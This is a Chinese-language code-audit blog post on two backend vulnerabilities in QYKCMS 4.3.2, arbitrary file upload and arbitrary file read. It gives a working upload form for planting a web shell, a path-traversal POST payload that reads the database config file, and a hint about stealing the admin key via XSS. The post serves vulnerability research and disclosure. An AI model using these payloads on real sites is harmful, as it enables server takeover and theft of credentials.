【代码审计】QYKCMS后台任意文件上传、任意文件读取漏洞

00

前言

青云客网站管理系统(QYKCMS)是青云客开发的一款基于PHP+MySql的轻量级智能建站系统。在T00ls看到两篇QYKCMS的代码审计文章,也下载了一套回来测试,发现了两个后台漏洞,并没有跟前面的漏洞重复,分享一下思路。

01

环境搭建

QYKCMS官网:http://www.qykcms.com/

网站源码版本:QYKCMS_v4.3.2(企业站主题)

程序源码下载:http://bbs.qingyunke.com/thread-13.htm

02

任意文件上传

代码分析:

1、漏洞文件位置:/admin_system/include/lib/upfile.php 第24-69行:

这段代码根据types的值进行操作,可以发现当$types=none的时候(注意看红色代码部分),获取文件名后缀,拼接成完整路径,然后将文件上传到服务器。

并没有对文件类型进行过滤,导致程序在实现上存在任意文件上传漏洞,攻击者可以通过上传脚本木马,控制服务器权限。

漏洞利用:

1、构造Form表单,key可通过XSS获取管理员COOKIE得到:

1. <form enctype="multipart/form-data" action="http://127.0.0.1/admin_system/api.php?admin=admin&key=15bc30cb5bfc1775c4733c9558fded91&log=upfile&types=none" method="post">

2. Upload a new file:<br>

3. <input type="file" name="file" size="50"><br>

4. <input type="submit" value="Upload">

5. </form>

2、成功上传脚本木马,并回显上传路径

3、去掉文件名称的第一个“|”符,然后访问脚本木马地址

03

任意文件读取

代码分析:

1、漏洞文件位置:/admin_system/include/show/template.php 第1-22行:

这段代码中接收path参数,然后进行转码处理,注意看红色代码部分,接着判断是否是一个目录,然后带入file_get_contents函数中执行,可以看到path参数并未进行任何过滤或处理,导致程序在实现上存在任意文件读取漏洞,可以读取网站任意文件,攻击者可利用该漏洞获取敏感信息。

漏洞利用:

QYKCMS默认数据库配置文件存放在\include\config_db.php中,我们构造一个路径去读取数据库敏感信息,成功读取配置文件信息。

http://127.0.0.1/admin_system/api.php

POST: admin=admin&key=682b82f8dc3b753d6eb9ceafd5a64301&log=show&desc=template&path=../include/config_db.php

04

END

说一下感悟,小CMS后台中,涉及文件操作的参数基本没怎么过滤,可以黑盒结合白盒挖到很多任意文件删除、任意文件读取、任意文件下载等漏洞,然而只是just for fun。

Bypass

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。

本文分享自微信公众号 - Bypass(Bypass--)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-03-30

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Jerry的SAP技术分享

ui5 resource file 404 error

所有前缀为mymap的resource 的relative url都设置为从./mymap出发,而不是resources/

10420
来自专栏终端研发部

6月份最新语言排行:Java,Python我更看好谁?

最近,编程语言排行榜前几天发布更新了,在最新的TIOBE编程语言排行榜中,Java依旧位居第一,但前十名内有所变化,这里我列举了从第一到第十的语言种类:

12520
来自专栏happyJared

Cookie 的作用是什么,和 Session 有什么不一样

Cookie 和 Session 都是用来跟踪浏览器用户身份的会话方式,不过两者的应用场景不太一样。

10220
来自专栏知识分享

9-STM32物联网开发WIFI(ESP8266)+GPRS(Air202)(微信配网配置_开发者基本配置_2)

https://www.cnblogs.com/yangfengwu/p/11062422.html

10410
来自专栏Jerry的SAP技术分享

how is OData url select option implemented in the backend

使用如下url 进行测试: https://:4080/sap/opu/odata/sap/CRM_OPPORTUNITY/Opportunities?KaT...

9330
来自专栏JAVAandPython君

Scrapy框架| 详解Scrapy的命令行工具

今天开始JAP君正式来写Python的Scrapy爬虫框架的系列教程了,我大部分内容会根据Scrapy的官方文档来的,并且会写一些实战项目来练手。...

13430
来自专栏芋道源码1024

手写一个迷你版的 Tomcat 喵

Tomcat,这只3脚猫,大学的时候就认识了,直到现在工作中,也常会和它打交道。这是一只神奇的猫,今天让我来抽象你,实现你!

10720
来自专栏JAVAandPython君

Scrapy框架| Scrapy中spiders的那些事......

今天继续更新scrapy的专栏文章,今天我们来聊一聊scrapy中spiders的用法。我们知道在整个框架体系中,spiders是我们主要进行编写的部...

10350
来自专栏Android干货

Android项目实战(五十六):获取WebView加载的url的请求错误码

例如需求,我有一个WebView 加载一个url, 该url对应的网页本身自带下拉刷新 ,但是网页本身会有出现400 500 等异常请求错误码

10820
来自专栏Jerry的SAP技术分享

How is correct index.html served by ui5 handler from BSP repository

This wiki explains the process how the index.html of Fiori application is served...

9820

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励